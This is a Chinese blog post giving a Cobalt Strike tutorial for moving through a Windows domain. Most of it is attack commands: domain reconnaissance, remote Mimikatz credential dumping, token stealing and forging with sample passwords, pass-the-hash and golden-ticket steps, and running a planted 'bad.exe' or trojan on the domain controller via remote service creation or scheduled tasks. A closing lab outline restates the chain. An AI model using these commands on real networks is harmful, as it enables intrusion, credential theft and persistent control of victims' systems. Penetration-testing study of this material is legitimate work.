首页 > 其他分享 >CobaltStrike域内渗透

CobaltStrike域内渗透

时间:2023-01-12 23:44:27浏览次数:41  
标签:domain shell 渗透 凭据 liukaifeng01 exe CobaltStrike net

枚举信任主机

Windows命令

net view /domain                         #查找当前域
net view/domain:[domain]                 #查看当前域主机列表
net group "domain computers" /domain 
nltest /dclist:[domain]                  #查看域控
nslookup [name]                          #根据netblos查看ip地址
ping -n 1 -4 
nltest /domain_trusts                    #查看域的信任关系
nltest /server:[address] /domain_trusts

 

Beacon中使用windows命令

shell nltest/dclist:God

64位在 c:\windows\sysnative

shell net view /domain:God

shell  net group "domain computers" /domain

 

PowerView模块的使用

Invoke-Netview

Invoke-ShareFinder

Invoke-MapDomainTrusts

net模块的使用

# 列出域控

net dclist  

net dclist [domain]

# 列出目标共享列表

net share \\[name]

# 列出当前域控的主机

net view

net view [domain]

 

判断当前用户位置

判断是否为本地管理员

  因为普通域用户 在做一些高级别操作的配置 需要域管理员的账号和密码。这是很不方便的。有的时候就会把普通的域用户 把它增加目标主机的超级管理员组,那么再做配置的时候就不需要域的超级管理员账号和密码。


shell dir \\目标机器名\C$

powerview Invoke-FindLocalAdminAccess

 

判断是否为域管理员

# 域管理员命令
shell net group "enterprise admins" /domain
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain

# net 在beacon使用

net group \\Target
net localgroup \\target  组名
powerview
Get-NetLocalGroup -HostName liukaifeng01

 

wrnim执行powershell

shell dir \\liukaifeng01 \c$

shell dir /S /B  \\liukaifeng01\c$\users

powershell Invoke-Command -ComputerName liukaifeng01 -ScriptBlock{ dir c:\}

powershell Invoke-Command -ComputerName liukaifeng01 -ScriptBlock{ net localgroup administrators}

powersploit运行mimikatz

powershell-import invoke-MImikatz.ps1
powershell Invoke-Mimikatz -ComputerName liukaifeng01

  主要的过程就是发现域内信任主机 查看是否有默认共享 用域的普通用户 验证枚举域内主机的是否为本地管理员 通过winrm执行 mimikatz.ps1

登录验证

制作标记

# 用mimikatz收集到的密码 用凭证制作一个标记
# 终止标记 rev2self 
steal_token ID
make_token TEST1\Aadminstrator 123456
make_token domain\user password
spawnas domain\user password
# 建立远程连接
net use \\host\c$ /user:domain\user password

认证

散列认证

pth .\administrator  ntlm

Kerberos凭证认证

  Kerberos和密码散列认证有些不一样,但是两者同样都是使用凭据来产生标记。

  Kerberos票证是存储存在一个叫kerberos托盘的地方。

  Kerberos原理是你们可以使用一个中间人 它叫 密匙分配发送服务器 并且 密匙分配发送服务器出凭据,你们可能现在使用那个凭据一次性与服务器相互作用他会告诉服务器,我很好 这是我凭据 验证凭据这个中间人如果信任它会给我服务器的凭据 这个凭据就可以让我们保持交互 并且没有任何帐号建立 如果你们获取了一个凭据 那就集成它,然后你们就可以使用这个指定凭据来与服务器进行交互了。一般情况下我使用凭据最好使用黄金凭据。

  黄金凭据是域管理员自己生成的Kerberos凭据 来用mimikatz伪造一个黄金票证。有了黄金票据就有了访问域控权限限 ,通常用于后门。

  一般需要四个不同的信息:用户 、域名、域id  krbtgt 的hash。

# 域的id获取 
shell whoami/user

# 列举黄金票据
shell klist

# 64位置
shell c:\windows\sysnative\klist


kerberos_ccache_use       # 从ccache文件中导入票据应用于此会话

kerberos_ticket_purge     # 清除当前会话的票据

kerberos_ticket_use       # Apply 从ticket文件中导入票据应用于此会话

创建黄金票证

God\liukaifeng01 S-1-5-21-1917438135-3671264842-2025464858-1115

内网横向渗透获取权限

代码执行的方法

方法一
shell copy C:\Users\CatGod\file.exe \\liukaifeng01\C$\windows\temp\file.exe
shell sc \\host create name binpath= c:\windows\tem\file.exe
shell sc \\host start name
shell sc \\host delete name
方法二
shell copy C:\windows\temp\bad.exe \\liukaifeng01\C$\windows\temp\bad.exe
shell net time \\host
shell at \\host HH:MM C:\windows\temp\bad.exe

# 窃取标记
steal_token 2760

# 验证是否可以攻击域控
shell dir \\dc\c$

如何跟域控制服务器交互

  kali和域控不在一个ip段 不能交互,所以要用到转发监听器,重定器转发

shell copy C:\Windows\temp\a3.exe \\dc\C$\Windows\temp\a3.exe
shell net time \\dc
shell at \\dc 0:27:00 C:\Windows\temp\a3.exe

beacon的自动操作

  自动化横行渗透,不需要对硬盘进行读写操作比较安全。

powershell-Import /PowerTools/PowerView/powerview.ps1

powershell Invoke-FindLocalAdminAccess

 

实验

  1、模仿已经拿下一台出网机器

  

  2、获取这台机器信息

  

  3、获取明文密码以及hash

  

  4、利用这台机器域账户的NTLM进行PTH攻击,传递哈希

  

  5、利用Cobalt Strike提供的窃取令牌功能,获得刚刚得到的CMD的进程的令牌(上面的PID)

  

  这样就可以获得与域控CMD交互的权限

  6、将生成的木马通过跳板机获取域控服务器的权限

  

  

  7、为获得一个稳定的权限,可以创建一个远程的计划任务,最后就可以使域控上线。

  

  

  

 

标签:domain,shell,渗透,凭据,liukaifeng01,exe,CobaltStrike,net
From: https://www.cnblogs.com/CatG0d/p/CobaltStrike_Kerberoasting.html

相关文章

  • CobaltStrike权限提升
    BypassUAC  UAC是微软在WindowsVista以后版本引入的一种安全机制,通过UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系......
  • CobaltStrike钓鱼攻击
    木马  cs可以生成HTA木马、office宏木马以及exe木马      HTA木马  HTA是HTMLApplication的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。HTA虽然......
  • CobaltStrike会话管理
    cobaltstrike派生会话  派生会话可以通过自身增加会话或者在其他的teamserver做备份会话  在原有的监听器的基础上创建新的监听器        派生一个新的......
  • 渗透
    metasploit-进入命令:msfconsole-模块使用流程-使用模块-设置必选项:showoptions永恒之蓝漏洞演示-进入命令:msfconsole-搜索该漏洞:se......
  • CobaltStrike使用重定器
    重定器  “重定器”是一个在“cobaltstrike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接,进行任意的连接或返回。(注:即通常说的代理......
  • 内网渗透-RDP&SPN
    什么是SPNWindows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分......
  • 内网渗透-PTH&PTK&PTT哈希票据传递
    1.PTH(passthehash) 1)利用lm或ntlm的值进行的渗透测试2)PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LMHash和NTLMHash访问远程......
  • 内网渗透-smb&wmi明文&hash传递
    首先我们要知道,在windows2012以上版本默认会关闭wdigest,那么攻击者就无法从内存中获取明文密码了windows2012以下的版本如果安装了KB2871997补丁,那么同样也会导致无法从内......
  • 内网渗透-at&schtasks&impacket的使用
    内网机器结构 机器账号密码如下:2008r2webserver域内web服务器本地管理员账号密码:.\administraotr:admin!@#45当前机器域用户密码:god\webadmi......
  • WEB渗透SQL注入【3】SQLmap使用详解(8)
    SQLmap介绍sqlmap是一个由python语言编写的开源的渗透测试工具,它主要是检测SQL注入漏洞,是一款功能强大的SQL漏洞检测利用工具。他可以检测的数据库有:access、msSQL......